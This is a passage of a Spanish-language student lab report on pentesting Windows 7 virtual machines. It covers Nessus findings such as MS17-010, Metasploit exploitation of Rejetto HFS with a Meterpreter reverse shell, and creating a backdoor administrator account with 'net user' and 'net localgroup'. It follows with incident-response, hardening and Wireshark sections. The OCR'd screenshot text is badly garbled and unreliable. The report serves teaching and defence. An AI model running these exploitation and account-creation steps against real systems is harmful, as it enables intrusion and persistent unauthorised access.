un sinfin de sistemas operativos, aplicaciones, y también permite ver los
puertos abiertos en los sistemas escaneados. Se pueden obtener informes
muy detallados de los escaneos realizada donde indica la criticidad de las
vulnerabilidades encontradas y los exploit que se pueden utilizar para ser
explotadas pero adicional también indica los planes de remediacién que se le
pueden aplicar a las vulnerabilidades encontrada y los parches de seguridad
que se le pueden aplicar para mitigarlas. Se debe tener presente que la
funcién “unsafe test” (pruebas no seguras) se recomienda desactivarse
debido que puede generar indisponibilidad en los servicios.

Nessus permite tener dos opciones para elegir son dos versiones "Home" y

"Work", una es gratuita y la otra es de paga o cual limita algunas funciones.
Para ingresar al entorno web digitamos Kali:8834 en el navegador para
continuar con el procese de instalacién y configuracion el cual nos solicitara
los datos para avanzar en el proceso.

Cuando ya este actualizado, podremos ingresar al entorno web, y podremos
hacer el escaneo a las maquinas victimas, pero primero se hace un escaneo

de prueba y se puede observar que si funciona la herramienta como vemos

en la imagen:
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Figura 23. Analisis Basico
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Fuente: Autor

Para la siguiente fase del laboratorio y habiendo descubierto los puertos
sensibles en las maquinas victimas y teniendo en cuenta el punto anterior,

realizaremos un escaneo para las maquinas con sistema operativo Windows
7.

Por medio del tablero de la herramienta Nessus nos permitira ver
detalladamente el alcance que tiene en la red y el avance con el andlisis de

las vulnerabilidades halladas en los sistemas que se utilizaron para el
laboratorio.
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Figura 23.Nessus dashboard
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Fuente: Autor

Figura 24. Resultado Analisis Nessus

Kals s N KaliForums = KaliDocs o NetHunter Offensive Security MSFU Exploit-DB GHDB

My Basic Network Scan

Configure Audit Trail Launch = Report =  Export =
« Back to My Sc
2
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Host Vulnerabilities Scan Details
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ie2681.12 - SeveryBase: C15S 130
Seanner: Local Scanner
Stant Today at 4:26 PM
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Elapsad: 5 minutes
se Notes

Vulnerabilities

.‘ ® Ciitical
s Hen

Mediu

® Low

® o

Fuente: Autor

Con base al analisis se identificaron los dos hosts y poseen muchas
vulnerabilidades

El servidor virtual x64 tiene 50 Vulnerabilidades (192.168.1.12)
4% de Vulnerabilidades Criticas (2)

2% de Vulnerabilidades Altas (1)

4% de Vulnerabilidades Medias (2)
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2% De vulnerabilidades Bajas (1)
88% Informativas (44)

Servidor 32 Bits tiene 49 Vulnerabilidades (192.168.1.11)
6% de Vulnerabilidades Criticas (3)

2% de Vulnerabilidades Altas (1)

4% de Vulnerabilidades Medias (2)

88% Informativas (43)

Luego se extrae un informe con todas las vulnerabilidades de los sistemas
analizados y definido con las siguientes calificaciones: Critica, Alta Media y
baja. Identificando cuantas computadoras o servidores tienen la urgencia de

ser parchados.

Figura 25. Vulnerabilidades Analisis Nessus

Hosts | 2 vuinerapiiies | 2/ VIH 10p Inreais \J History |1
Filter =
Sev MName Family Count
W 5 Microsoft Windows (Multiple Issues) Windows 10
W 2 Web Server (Multiple Issues) Web Servers 2
SMB Signing not required Misc 2
Apache Struts 2 s:a / s.url Tag href Element XSS CGl abuses : XSS 1
DCE Services Enumeration Windows 16
5 SMB (Multiple Issues) Windows 14
INFO Nessus SYN scanner Port scanners 12
3 HTTP (Multiple Issues) Web Servers 5
Common Platform Enumeration (CPE) General 2
Device Type General 2
Ethernet Card Manufacturer Detection Misc 2
Ethernet MAC Addresses General 2
INFO ICMP Timestamp Request Remote Date Disclosure General 2
Link-Local Multicast Name Resolution (LLMNR) Detection Service detection 2

Fuente: Autor
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Las vulnerabilidades encontradas en el analisis se clasifican en Criticas, Altas
y Medias y bajas existen otras de caracter informativo que por lo general no
se tienen mucho en cuenta debido que ya estan implicitas en los equipos por
tener habilitados servicios necesarios para su funcionamiento con base en
esto se recomienda aplicar el plan de remediacidn para las vulnerabilidades
Criticas, Altas, Medias y altas que por lo general a las criticas se deben
solucionar en un periodo maximo de un mes y las altas en dos meses y para

las medias de 3 a 6 meses para su correccion.

Figura 26. Vulnerabilidades Ranking

Fuente: Autor

Luego de analizar las vulnerabilidades detectadas por la herramienta Nessus
Scan las vulnerabilidades criticas son las primeras que se deben trabajar de
forma inmediata por el impacto que pueden llegar a tener sobre los equipos,
en este caso podemos observar una de las vulnerabilidades mas criticas hoy
en dia y es la del puerto 445 abierto la cual puede permitir a un atacante o

una APT realizar un ataque por ransomware.
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Figura 27. Ms17-010 Descripcion

MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETER...

Synopsis
The remote Windows host is affected by multiple vulnerabilities.

Vulnerability Priority Rating
Age of vuln: 730 days +

CVS5v3 Impact Score: 5.9

Exploit Code Maturity: High
Product Coverage: Low

Threat Intensity: Very High

Threat Recency: 0 to 7 days
Threat Sources: Security Research

Affected Hosts (2)
192.168.1.11
192.168.1.12

Fuente: Autor

Figura 28. Descripcion Vulnerabilidad

MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETER...

Description
The remote Windows host is affected by the following vulnerabilities.

- Multiple remote code execution vulr bilities exist in Mi ft Server M Block 1.0 (SMBw1) due to improper
handling of certain requests. An unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted
packet, to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0148, CVE-2017-0148)

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of
certain requests. An unauthenticated, remote attacker can exploit this, via a specially crafted packet, to disclose sensitive
information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple Equation
Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit. and EternalRocks is a worm that utilizes seven
Equation Group vulnerabilities. Petya is a ransomware program that first utilizes CVE-2017-0199, a vulnerability in
Microsoft Office, and then spreads via ETERNALBLUE

Solution

Microsoft has released a set of patches for Windows Vista, 2008. 7, 2008 R2, 2012. 8.1, RT 8.1, 2012 R2, 10, and 2016.
Microsoft has also released emergency patches for Windows operating systems that are no longer supported, including
Windows XP, 2003, and 8

For unsupported Windows operating systems, e.g. Windows XP, Microsoft recommends that users discontinue the use of
SMBv1. SMBv1 lacks security features that were included in later SMB versions. SMBv1 can be disabled by following the
wvendor instructions provided in Microsoft KB2696547. Additionally, US-CERT recommends that users block SMB directly

Fuente: Autor
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12.2 CARACTERIZACION DE LOS PROCESOS ANTERIORMENTE
MECIONADOS:

e MS17-010 (critica): Disenado para ejecutar cédigos arbitrarios a partir de
una ejecucion remota de cddigos de Microsoft Server Menssage Block, esto
analiza los procesos inadecuados en ciertas solicitudes, pueden ser

vulnerables al proceso de atacantes remotos no autenticados.

e MS11-030 (Alta): Idéntica las fallas en la caracteristica de forma del DNS
de Windows, permite realizar las consultas de resolucién de nombres de
multidifusiéon del enlace, los cuales se pueden aprovechar para ejecutar

codigos arbitrarios en contextos de cuentas Network Service.

e MS16-047 (Medium): Permite identificar procesos de vulnerabilidad remota
de elevacién en los privilegios de protocolos del administrador de cuenta de
seguridad, debido a una falla en la negociacién en el nivel de autenticacion
en los canales de llamadas en procedimiento remoto; puede lograr una

degradacion en el nivel de autenticacion.
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12.3 EXPLOTACION DE REJETTO CON METAEXPLOIT

Lo que se debe hacer primero es seleccionar el servidor anfitrién donde estara
la aplicaciéon en este caso vamos a utilizar un windows7 64, para alojar la
aplicacion Rejetto con el propdsito de analizar los puertos que utiliza la

aplicacion por medio de Nmap desde la maquina virtual con Kali Linux.

Figura 29. Ejecucién rejjeto

B o SEane 04 (Comercol - Cracke VM Vit

Ly

fer  2I/0G/IN 1214 e

Saver brre: 20092021 (4255
Sarver ptie: D:1E-38

Tohsl Dub 17856 % Tetal i SLATE  VPSel fems

Comnechornf /1 O0DKH: 00N

Fuente: Autor

Desde la maquina virtual con Kali Linux ejecutaremos la herramienta Nmap
con el siguiente comando: nmap -T4 -sV 192.168.1.11(IP maquina Windows
7 64 Bits) el cual nos permitira saber los puertos abiertos el cual nos muestra:

80: HTTP y la version del 2.3 que es la version del Rejjeto.
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Figura 30. puertos abiertos windows?7

lali@kali: ~

le Actions Edit View Help

e (ru
Main PID (nessus-s
(limi )

HttpFileServer httpd 2
t Windo RP
lindows netbios-ssn
Windows 7 - 1@ microsoft-ds (workgroup: WORKGROUP)

HTTPAPT httpd
HTTPAPI httpd
I HTTPAPT httpd
49152 p of i Windows RPC
4915
49154
49155
49156,
49157

:microsof ndows

formed. P T r y 1 sults at https
ss (1 host up) i 5 onds

Fuente: Autor

Luego crearemos el espacio de trabajo para ejecutar la consola de

metaesploit con el Servidor victima al cual vamos a atacar.
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Figura 31. Ejecucién del exlpoit
1 kali@ kali: ~

File Actions Edit View Help

.
J + 2022-03-06 01:07

asploit.com

[
E
E
[ 8 e

Metasploit tip: View advanced module options with

nsfé > msf > db_status
Unknown command: msf.

192.168.1.11

Fuente: Autor

Luego ejecutamos el analisis de la vulnerabilidad para identificar las brechas

de seguridad que tiene el servidor que vamos a explotar:

Figura 32. vulnerabilidades con Metasploit

Fuente: Autor
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Figura 33. Resumen Vulnerabilidades metasploit

slcrosoftiwindows

o
22-83-06 01:07

on wulnerability in Microsoft S 1 servers (ms17-@1@)

px@cution vulnerability exists in Microsoft SMBvl

07

2022-83-86 @81:07 51 UTC

Fuente: Autor

Luego nos aparece la opcién de search y buscaremos la vulnerabilidad del
puerto 445 SMB que en este caso seria el puerto vulnerable que vamos a
explotar. Luego de esto nos apareceran los exploit que permiten explotar
esta vulnerabilidad del SMB.
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Figura 34. Search Metaexploit

kali@kali: ~

File Actions Edit View Help

M513-0

M514-0

M517-0

M517-8

= ¥ MS17-0
normal ? il

normal C M: -0

Fuete: Aor

Utilizaremos el cédigo “0” para este caso Use 0
Vamos a utilizar y configurar el Payload: set payload Windows/meterpreter
Vamos a configurar el host remoto: set rhosts

Vamos a configurar el Host Local: set LHOST KALI
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Figura 35. Utilizando el cédigo de Vulnerabilidad Metaexploit

2022-03-06 01
Dis ure Date

dows/http/BEJEEES hfs_exec 2014-09-11

Interact with a module by name or index. For example

P
pretersreverse_top

1.11:4971E) at 2022-83-856 #1:847 :21 =-2409

Fuente: Autor

Luego de esto encontraremos el meterpreter que es un intérprete que nos
permitira la conexidn y asi podremos ejecutar los comandos que necesitemos
en los sistemas operativos Windows para confirmar que realmente estamos

dentro del servidor remoto (victima).
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Figura 36. Ejecucién de comando Windows por medio de Meterpreter

Name

Fuente: Autor
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12.4 CREANDO USUARIO APROVECHANDO LA VULNERABILIDAD

Luego de estar adentro del servidor victima explotando la vulnerabilidad con
metasploit ingresaremos a la Shell del sistema operativo Windows para

saber los procesos que estan corriendo en este momento en la maquina.

Figura 37. Ejecucién Shell desde meterpreter

Channel

Mic [ [Ver 6.1.7601]

Copyright (c) Microsoft Cze22-e3-e6 01:07 1. Reservados todos los derechos.

Fuente: Autor

e Ejecucidon de comando por medio de meterpreter

Net localgroup (listar grupos del Equipo Vulnerado)

Net User DanielViera /add (Crear un usuario local en el equipo vulnerado)
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Figura 38. comando creacion de Usuarios meterpreter.

Alias para WV\WPC2028056

2022-03-06 01:07

Fuente: Autor

e Net localgroup Administradores DanielViera /add (Agregar el usuario

creado al grupo administradores del Equipo vulnerado)

Para validar y evidenciar que realmente logramos acceso a la maquina victima

validamos el usuario que fue creado en este caso DanielViera
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Figura 39. Evidencias Windows 7.

ﬂ ‘Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox
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| Usuarios & usuario Acciones adicionales »
1 Grupos Propiedades: DanielViera 7=

> (%) Rendimiento
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4 =5 Almacenamiento
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; ‘? Ad_mmn;trr:_ﬂt'-r{ de discg | %/ Administradores
» T4 Servicios y Aplicaciones & Usuarios

Fuente: Autor

Estos ataques por lo general son utilizados por APT para ejecutar RATs o
hacer labores de ciber espionaje lo cual le permite tener control de la maquina
remotamente con el fin de hacer uso de la informacién que se encuentre
alojada en el servidor, de esta forma se puede evidenciar que el atacante
tiene el control total de la maquina sin que la victima lo sepa.

Esta amenaza consiste es explotar una vulnerabilidad por el puerto 445 que
le permita a un atacante tener hacer cargue de Payload, Downloader de
informacion o de malware para infectar la red y poder escalar privilegios sin
problema dentro de la red para hacer movimientos laterales y ganar acceso
sin ser detectado. Se evidencia como el administrador del sistema se ve la

creacién del usuario con permisos de administrador en el servidor.
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12.5 EXPLICACION DE LA AFECTACION DEL ATAQUE A LA MAQUINA
WINDOWS 7 X64

Para esta fase de la explotaciéon a la maquina virtual con sistema operativo
Windows que por lo general son los mas vulnerables, herramientas de codigo
abierto para el andlisis de vulnerabilidades en sistemas operativos y
aplicaciones de diferentes fabricantes son de gran apoyo para los equipos de
Red Team y Blue Team pero también para los administradores debido que
facilitan detectar las falencias que tienen los sistemas para poder mitigar
estos riesgos que se detecten de forma oportuna para reducir la superficie de
ataque para impedir que los sistemas sean vulnerados por los hackers y
afecten los activos criticos y la informacidn que se encuentra almacenada en
ellos se vea expuesta. Se puede evidenciar que los puertos abiertos en los
sistemas deben de tener una razon de ser y los servicios o puertos sensibles
innecesarios deben ser cerrados para reducir el riesgo también proteger la
direccién IP, MAC DNS que pueden vulnerados con muchas técnicas
avanzadas que hoy en dia periten suplantar la identidad de un host en la red
haciéndose pasar por otro. Cuando se detecta una vulnerabilidad en algun
servicio puede ser explotado con algln exploit publico y poder cargar un
playload utilizando una Shell y con el meterpreter poder escalar privilegios a
nivel de usuario en el sistema operativo de la victima lo cual permitira crear,
modificar y eliminar directorios, archivos o modifica registros o llaves del
REGEDIT lo cual puede ser grave para salvaguardar la seguridad de los datos
gue se encuentren en la compafia debido que también los atacantes pueden
hacer movimientos laterales en el sistema operativo y en la red lo cual puede
ser un gran riesgo por el nivel de compromiso al que se ve expuesta la
empresa debido que podria llegar a tener acceso a otros equipos de computo

del area financiera, contable entre otras.
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12.6 ACCIONES PARA TOMAR FRENTE A UN CASO DE ATAQUE
INFORMATICO EN TIEMPO REAL

Cuando se habla de la seguridad en sistemas informaticos no se puede decir
que existe un sistema completamente seguro y una solucién que sea efectiva
100% frente amenazas como lo son las APT’s por lo que se recomienda tener
un proceso detallado para la respuesta a incidentes el cual indique el proceder
y de como contener un ataque de la forma mas efectiva y rapida posible,
como lo puede ser teniendo un GRIS en el cual se notique a los interesados
tomar las mejores decisiones para afrontar un ataque a gran escala, como
aislar zonas de la red o computadoras y luego analizar los equipos que no
fueron afectados por el ransomware o malware para descartar algun tipo de

compromiso y asi realizar una limpieza un analisis de los equipos infectados.

A continuacién, se describen los pasos que se realizaran sobre el objetivo

atacado con sistema operativo Windows 7 X64:

e Validacién del estado del Endpoint del equipo victima el cual se

encuentra desactivado:
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Figura 39. Configuracion de firewall desactivada.

& Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox
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Redes en lugares publicos como aeropuertos o cafeterias
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e Estado de notificacion: Notificarme cuando Firewall de Windaws bloquee un
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Fuente: Autor

e Se valida el estado del equipo para confirmar que no tenga todos los

parches de seguridad y evitar la explotacién de alguna vulnerabilidad

por estar actualizado por lo que se recomienda que este desactivado

las actualizaciones automaticas como configuracion recomendada:

e Se realiza escaneo de los equipos que estan en el segmento de red

con la herramienta Nmap la cual esta en la maquina virtual de Kali

Linux con direccion IP: 192.168.20.48 que realizara los escaneos
hacia las direcciones IP’s 192.168.20.46 y 192.168.20.47 que tienen

sistema operativo 7, se ejecutara el comando nmap 192.168.20.0/24

el cual corresponde al segmento de red, pero nos enfocaremos en las

direcciones IP del ambiente del laboratorio que hemos implementado

para esta etapa 4.
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Figura 40. Analisis con Nmap

ﬂ Kali-Linu- 2021 2-virtualbex-amdbd [Camenda)] - Oracle VM VidualBex
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Fuente: Autor
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Figura 41. Anadlisis nmap

Mmap scan report for 192.168
Host is up (9.¢@
Not shown: 987 cl
PORT STATE SERVICE
35/tcp Open msrpc
139/tcp open netbios-ssn
L45/tcp open microsoft-ds
554/ /tcp open rtsp
2869/tcp open icslap

open wsdapi

open unknown

open unknown

open unknown

open unknown
£9155/tcp open unknown
£9156/tcp open unknown
£9158/tcp open unknown

Mmap scan report for 1

Host is up (©.0826s latency)
Mot shown: 987 closed ports
PORT STATE SERVICE
135/tcp Open msrpc
139/tcp open netbios-ssn
§45/tcp open microsoft-ds
554/ tcp open rtsp
2869/tcp open icslap
5357/tcp open wsdapi

1 /tcp open unknown
£9152/tcp open unknown
£9153/tcp open unknown
£9154/tcp open unknown
£9155/tcp open unknown
£9156/tcp open unknown
£9157/tcp open unknown

Host is up (
All

Fuente: Autor

Se valida la configuracién de la tarjeta de red la cual debe estar
configurado en modo promiscuo lo cual quiere decir que escuchara
todo y permitird todo el trafico que pasa atabes de las interfaces de

la maquina virtual como podemos observar en las siguientes

imagenes:
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Figura 42. Validacién tarjeta de red

@ General

I Mombre: Win7-5E2020-X64
Sistema operativo:  Windows 7 (64-bit)
Grupos: ESI Seg. DB
IE‘ Sistema
Memoria base: 4096 MB

Orden de arranque:  Optica, Disco duro
eleracion: WT-x/AMD-V, Paginaddn anidada, Paravirtualizaddn Hyper-v

@ Pantalla

At

Memaria de video:
Controlador grafico:

Servidor de escritorio remoto:

Grabacidn:

2] Almacenamiento

12 MB
VBoxSVGA
Inhabilitado
Inhabilitado

3 Win7-SE2020-X64 - Configuracién

=]

OhePEs SN E

General

Sisterma

Pantalla
Almacenamiento
Audic

Red

Puertos serie

UsSB

Carpetas compartidas

Interfaz de usuario

Fuente: Autor

Red

Adaptador 1 Adaptadar 2 Adaptador 3 Adaptadaor 4
Habilitar adaptador de red
Conectado a: | Adaptador puente -

Mombre: | Intel{R) Dual Band Wireless-AC 8265

¥ Avanzadas

Tipo de adaptador: [Intel PRO/1000 MT Deskiop (22540EM)

Modo promiscuo: | Permitir todo

—

Direccién MAC: |0800273042A43

Cable conectado

Reenvio de puertos

Se valida que no exista instalado un programa antimalware, antivirus

o EDR en la maquina virtual con sistema operativo Windows 7 x64

luego de revisar esto se confirma que no existe nada que pueda afectar

las pruebas como podemos observar en la siguiente imagen:
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Figura 43. Verificacion de antivirus

L'éj Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox

Archivo  Maquina Ver Entrada Dispositives Ayuda

st |G » Panel de control » Todos los elementos de Panel de control » Programas y caracteristicas - | Grl | Buscar Programas y caracieristicas
Ventana principal del Panel de

control Desinstalar o cambiar un programa

Para desinstalar un programa, selecciénelo en la lista y después haga clic en Desinstalar, Cambiar o Reparar.
Ver actualizaciones instaladas

- ‘, Activar o desactivar las
caracteristicas de Windows

Organizar = EE
Nombre s Editar Seinstalé el Tamafio Versidn
[E217-Zip 13.00 (64) Igor Paviov 26/06/2020 496 MB  19.00
& Mozilla Firefox (x64 es-ES) Mozilla 04/10/2021 208ME 9201

1) Mozilla Maintenance Service Mozilla 26/06/2020 328KB 7701
5 Oracle VM Virtuz|Box Guest Additions 6.1.10 Oracle Corporation 26/06/2020 61.10.0

Fuente: Autor

Se deben tener presente las siguientes recomendaciones para la deteccion de

ataques informaticos:

e Prevencion de ataques: esto nos permite tomar una posiciéon de
postura de seguridad y acciones de las metodologias para prevenir
ataques en una etapa temprana o en una primera fase de
reconocimiento de los ataques que son la de Fingerprinting y

Footprinting donde se puede visualizar trafico anual en la red.

e Recomendaciones: hacer respaldo de la informacion diarios de la
informacion que se considere critica de la organizaciéon, tener
soluciones antimalware como EDR, Endpoint, filtrado de contenido

web, deshabilitar puertos sensibles expuestos hacia internet.

e Deteccion: Se debe tener soluciones como IDS, IPS y analizadores de
red que tengan filtros para poder identificar diferentes tipos de ataques
en la red, se debe monitorear la red constantemente como soluciones

como PTR o SolarWinds que permitan apoyar el proceso de monitoreo
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y adicional tener un SOC (Security Center Operation) el cual apoya a
la visibilidad de la red y también ayuda a la deteccién de amenazas

avanzadas como las APTs, malware y ransomware.

Ataques comunes: Ransomware, DDoS, DoS, Virus, Gusanos,

Adware, Phishing, Troyanos, Spaer Phishing, Ingeniera Social.

Ciberresilencia: Las empresas deben definir un plan de
Ciberresilencia y un plan de continuidad donde se tenga un plan claro
donde se pueda definir las aplicaciones y sistemas criticos de la
organizacion el cual permita tener recuperacion de los sistemas y hacer
pruebas constantes de la posible indisponibilidad de los sistemas,
aplicaciones y cuanto tiempo se demoran en recuperarse frente a un

ciberataque o un desastre natural.

Primero: Se debe tener un roadmap y definir las aplicaciones criticas
y sistemas que estaran en el plan de continuidad y Ciberresilencia.
Segundo: Detallar el proceso de respuesta a incidentes y de cdmo se
debe contener un ataque en las fases iniciales que permitan

Tercero: Tener detallado el proceso del PRD donde se realicen dos
pruebas integrales al afio y 3 pruebas individuales por cada aplicacién
para saber los tiempos de recuperaciéon y retorno a la normalidad.
Cuarto: este proceso se debe dar a conocer a todos los empleados
debido que deben formar parte de la logista a la hora de una incidencia
ya sea por un ciberataque o por una falla natural, esto con el propdsito
de conocer las pérdidas a nivel informatico, financiero y de capital
humano que afectaria los procesos de la empresa y en el cual se pueda
generar sinergia entre todas las areas para tener un proceso claro y

efectivo al momento de ejecutarlo.
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13 HARDENIZACION PARA MINIMIZAR O MITIGAR ATAQUES
DE SEGURIDAD INFORMATICA

Para aplicar planes de remediacion a los sistemas e infraestructura que
tiene la organizacion se debe tener un PTR (Plan de Tratamiento de
Riesgos) donde se le realice seguimiento a cada hallazgo y se le permita
dar cierre a cada uno donde se describan vulnerabilidades, actualizaciones
de seguridad, donde se identifiquen puertos sensibles en la red o ataques,

malware, escaneos de red.

Se procede a realizar monitoreo de la red con la herramienta gratuita
WireShark permitiendo detallar todo el trafico que pasa por la red de la

empresa, para saber si se detalla algun tipo de ataque.

Figura 44. Analisis de trafico

{i] Kali - Seminario [Corriendo] - Oracle VM VirtualBox - X

Archivo Maquina Ver Entrada Dispositivos  Ayuda
E [ [Editando Wired conn... ] [estudiante@seminar.. E] estudiante@seminari.. & Capturing from any 06:26AM O o) A L

Capturing from any

Capture Analyze Statistics Telephony
XE Q e EEF S

Wireless Tools Help

Q Q& F

=

Source Destination Protocol Lengtl Info
Te80::d63T:cbff:fed. L 152 Router Advertisement from d4:3f:ch:8a:76:5b

o Te80::d63f:cbff:fe8. B ICMPVE 152 Router Advertisement from d4:3f:cb:8a:76:5b
3 0.601340318  fe80::d63T:cbff:fe8. ffB2::1 ICMPVE 152 Router Advertisement from d4:37:cb:8a:76:5b
4 0.001340367 Te80::d63T:cbff:feB. frO2::1 ICMPVE 152 Router Advertisement from d4:3f:cb:8a:76:5b
5 0.809379600 Te80@::a@0:27ff:felf.. ffB2::16 ICMPVE 112 Multicast Listener Report Message w2
6 0.417392013 fe80::a80:27ff:feif. frB2::16 ICMPVE 112 Multicast Listener Report Message w2
7 B.638123669  ARRISGro_8a:76:5b ARP 62 Who has 192.168.1.67 Tell 192.168.1.254
B 3.803463777  Te80::d63T:cbff:fe8. ffB2::1 ICMPVE 152 Router Advertisement from d4:3f:cb:8a:76:5b
9 3.003463886 Te80::d63T:cbff:fe8. ff02::1 ICMPVE 152 Router Advertisement from d4:3f:cb:8a:76:5b
10 3.003463921  fe80::d63T:cbff:fe8. fro2::1 ICHPVE 152 Router Advertisement from d4:3f:ch:8a:76:5b
11 3.003463962 fe80::d63f:cbff:fe8. ffB2::1 ICMPVE 152 Router Advertisement from d4:3f:cb:8a:76:5b
12 3.014034996  fe80::aB0:27fT:Telf.. frB2::16 ICMPVE 112 Multicast Listener Report Message v2Z
13 3.713508907 feB0::a00:27ff:felf. ffO2::16 ICMPvE 112 Multicast Listener Report Message v2
14 4.308035142  ARRISGro_8a:76:5h ARP 62 Who has 192.168.1.97 Tell 192.168.1.254
15 6.010215894  192.168.1.254 224.0.8.1 IGMPv2 62 Membership Query, general
16 6.010216001  192.168.1.254 224.8.8.1 IGMPv2 62 Membership Query, general
17 6.010216067 192.168.1.254 224.9.8.1 I6MPv2 62 Membership Query, general
18 6.111878529  fe80::d63T:cbff:feB. ffO2::1 ICMPVE 152 Router Advertisement from d4:3f:cb:8a:76:5b
10 A 111R7RAZR  FeRA:-dRF chff faR fFAZ:-1 TrMPuA 152 Router Advertisement from dd-2f-ch-Ra:76:5h

Frame 1: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits) on interface any, id @
Linux cooked capture

Internet Protocol Version 6, Src: feBO::d63f:cbff:feBa:765b, Dst: ff@2::1

Internet Control Message Protocol v6

Fuente: Autor

Explicacién de los diferentes colores que aparecen en la herramienta
WireShark cuando se realiza el analisis:

e Ro0jo: problema critico en el paquete de red tendrd un mensaje de
“error”

e Amarillo: Indica atencidn. En los paquetes analizados podra aparecer
“Warn”
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e Celeste: situaciones relevantes fuera del funcionamiento normal de la

red.

e Gris: informacion detallada del flujo de paquetes de red que pasan por
la interfaz que tiene configurada el WireShark y aparece la palabra
“Note”.

e Se muestra evidencia del analisis:

Figura 45. Analisis de trafico

i Kali - Seminario [Corrienda] - Oracle VM VirtualBox — x

Archive Maquina  Ver Entrada  Dis Ayuda

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

mae EEaaa=E
[A]Apply 2 display filter ... <Ct = -
No. Time Source Destination Protocol Lengtt Info

229 102.067577611 Te80: 4637 :chIT:fe. 102! ICHPVE 152 Router Advertisement from d4:37:cD:8a:76:5h

230 102.077273473 Tes0:

0:271T:Tell.. FT02:: ICHPVE 112 Multicast Listener Report Message v2
231 102.689173936 fedd: 27ff:felf.. f02:: ICMPVE 112 Multicast Listener Report Message v2
232 105.037413492 fedd: 3f:chff:feB.. £F02:: ICMPVE 152 Router Advertisement from d4:3f:cb:8a:76:5b

B
16
16
5 =
233 105.037413600 fe8@::dB3f:cbff:fed.. FfO2::1 ICMPVE 152 Router Advertisement from d4:3f:cb
1.
1
16
16

234 105.037413670 fe8@::d63f:chff:fe8.. FfB2:: ICMPVE 152 Router Advertisement from d4:3f:ch
235 105.937413733 fe8@::d63f:cbff:fe8.. FfO2:: ICMPVE 152 Router Advertisement from d4:3f:cb:8
236 105.049898229 fe8@::abR:27ff:felf. ffO2:: ICMPVG 112 Multicast Listener Report Message v2
237 105.505207945 fe8@::ab0:27ff:felf.. FFO2:: ICMPVE 112 Multicast Listener Report Message v2
.629789351 1. 9 . 16! 249 Domain/Workgroup Announcement WORKGROUP, NT Workstation, Domain Enum
230 108.101476571 feld: icbff:fe8. ff02::1 ICMPVE 152 Router Advertisement from d4:3f:cb:8
1 ICMPvE 152 Router Advertisement from d4:3f:cb
241 108.106312036 fe8@::d63f:cbff:fe8. ffO2::1 ICMPvE 152 Router Advertisement from d4:3f:ch
242 108.106312103 fe8@::d63f:cbff:fe8. FfO2::1 ICMPVE 152 Router Advertisement from d4:3f:cb:8a:76:5b
243 108.113541363 fe80::a00:27ff:felf. ff02::16 ICMPVE 112 Multicast Listener Report Message v2
16
cE
1

240 108.106311020 fe80::d63f:cbff:fe8. ffO2::

244 109.121164793 fed0::a00:27ff:felf.. FFO2:: ICMPVG 112 Multicast Listener Report Message v2
245 111.073992841 fe80::d63F:chff:fed.. FFO2:: ICMPvG 152 Router Advertisement from d4:3fich:8
246 111.673992940 Te80: :d63F:chff: fes.. FFO2 ICMPv6 152 Router Advertisement from d4:3f:ch:8
247 111 A7300299R fefA: -ARRF-FRFF-FAR  FFA2: 1 TCMPWR 152 Roufer Adyarfisament from dd:3f:ch:f

Frame 2381 249 bytes on wire (1992 bits), 249 bytes captured (1992 bits) on interface any, id ©

Linux cooked capture

Internet Protocol Version 4, Src: 192.168.1.9, Dst: 192.168.1.255

User Datagram Protocol, Src Port: 138, Dst Port: 138

NetBIOS Datagram Service

SMB (Server Message Block Protocol)

SMB MailSlot Protocol

Microsoft Windows Browser Protecol

:5h
:5b

-5h

v

>
(P & 1= i Bl @ 3 cre erecka

Fuente: Autor
La siguiente imagen muestra el analisis del trafico de red abriendo un

paquete de red detectado por la herramienta y explica a detalle la

comunicacion.
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Figura 46. Analisis de paquete

{8 Kali - Seminario [Corriendo] - Oracle VM VirtualBox

Archivo  Maquina Ver Enireda  Dispositivos  Ayuda

Checksum: 0x888e [unverified]
[Checksum Status: Unverified]
[Stream index: 8]
» [Timestamps]
~ NetBIOS Datagram Service
Message Type: Direct_group datagram (17
» Flags: 8x82, This is Tirst fragment, Node Type: B node
Datagram ID: @xcaec
Ssource IP: 192.168.1.9
Source Port: 138
Datagram length: 191 bytes
Packet offset: @ bytes
Source name: WIN7<@@> (Workstation/Redirector
Destination name: <@1><62>_MSBROWSE_ <02»<01> (Browser)
~ SMB (Server Message Block Profocol)
» SMB Header
» Trans Request (0x25)
~ SMB MailSlot Protocol
Opcode: Write Mail Slot (1)

Priority: 1
Class: Unraliable & Broadoast (2)
) Size: 54
247 111 a1 Mailslot Name: \HATLSLOT\BROWSE
v [irane e 00 01 00 01 00 06 08 00 27 bc 48 9d 00 00 08 00 o
» |Linic.cnokog 4500 00 e9 00 d3 00 00 30 11 b4 d8 o0 a8 01 09 E
b [Intatnet, Pg ci a8 1 T 00 8a 00 8a 00 d5 88 8s 11 02 ca e
b iker Datoog GO a8 01 09 00 Ba 00 bf 00 00 20 46 48 45 4a 45 - FHEJE
Ve AT 4448 43 41 43 41 43 4143 41 43 41 43 41 43 ODHCACAC ACACACAC
) (erve 4143 41 43 4143 4143 41 41 4100 20 41 42 41 ACACACAC A’ ABA
b |SE sl 43 45 50 45 50 45 4o 456 44 45 43 46 43 45 50 46 CEPEPENF DECFCEPF
43 46 44 45 46 46 50 46 50 41 43 41 42 00 ff 53 HEDEFFPF PACAR. .S
4d 42 25 00 00 00 00 00 00 00 00 00 0D 00 00 0D
00 00 DO 0O 00 00 0O DO 0D 00 00 00 0O 0O 11 00
00 25 00 0O 0O 0O DO 0O DO 0O 0O e8 03 00 00 00 %
00 D0 0O 0O 0O 25 00 56 00 03 00 01 00 01 00 02 . K.V
00 36 00 5c 4 41 49 4 53 4c 4F 54 5g 42 52 4F 6 \MATL SLOT\BRO
